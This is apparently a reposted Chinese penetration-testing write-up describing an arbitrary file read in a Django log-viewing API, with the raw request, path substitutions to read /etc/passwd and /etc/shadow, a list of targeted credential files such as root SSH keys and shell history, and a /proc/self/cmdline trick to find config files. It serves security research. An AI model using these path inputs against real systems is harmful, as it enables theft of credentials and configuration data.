本文由@天明师傅原创投稿,记录的是一种别样的任意文件读取玩法,感谢分享 !
0x01 挖掘受阻
在某次测试时,碰到了一个python Django站的任意文件读取漏洞,涉及功能为操作日志的线上查看功能,功能截图如下:
漏洞点在查看功能处,点击查看后,原始数据包如下所示:
POST
/mpc-server/api/v1/service/event_logs
HTTP/1.1
Host
: 1.1.1.1
User-Agent
: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
Accept
: application/json, text/plain, */*
Accept-Language
: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding
: gzip, deflate, br
Content-Type
: application/json
X-CSRFToken
:
Authorization
: basic
Content-Length
: 56
Origin
: http://1.1.1.1
Connection
: keep-alive
Referer
: http://1.1.1.1/index.html
Cookie
:
Priority
: u=1
{
"log_path"
:
"/tools/mpc-fl-server/logs/event/event.log"
}
此处给到的路径看着像绝对路径,尝试替换为:/etc/passwd。成功读到:
读取/etc/shadow,未发现可解密的字段。
尝试读取常见敏感信息,此处使用的字典为:Burpsuite Intruder的Local files - Linux
因为此处直接使用的root,未有普通用户,故将注意力放在以下文件上,但是均读不到。
/root/.bash_history
/root/.ssh/id_rsa
/root/.ssh/authorized_keys
/etc/mysql.cnf
/etc/redis.conf
0x02 别样的文件读取利用思路
请教了师傅,给了通过读取cmdline来获取配置文件的方法,具体步骤如下:
/proc/
self
/cmdline
java-Dfile.encoding=UTF-
8
-Duser.timezone=GMT+08-Dorg.eclipse.jetty.util.URI.charset=UTF-
8
-Dorg.eclipse.jetty.util.UrlEncoding.charset=UTF-
8
-Xms256m-Xmx10240m-
XX:
PermSize=
256
M-
XX:
MaxPermSize=
1024
M-
XX:
+UseParallelGc-
XX:
+UseParalleloldGc-
XX:
+HeapDumpOnoutofMemoryError-cp/home/project/manage_admin/bin/../WEB-INF/lib/*
:/home/project/manage_admin/bin/
../WEB-INF/classescom.junc.bootstrap.Starterstartbin
2)读取配置文件
web.xml
/home/project/manage_admin/bin/../WEB-INF/web.xml
Spring配置文件
/home/project/manage_admin/bin/../
WEB
-
INF
/classes/spring-
init
.xml
redis配置文件
/home/project/manage_admin/bin/../WEB-INF/classes/properties/redis.properties
0x03 尝试峰回路转
峰回路转个鬼,一时间猪油蒙了心。跑去读了cmdline
原文始发于微信公众号(潇湘信安):记一次任意文件读取漏洞的挖掘
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论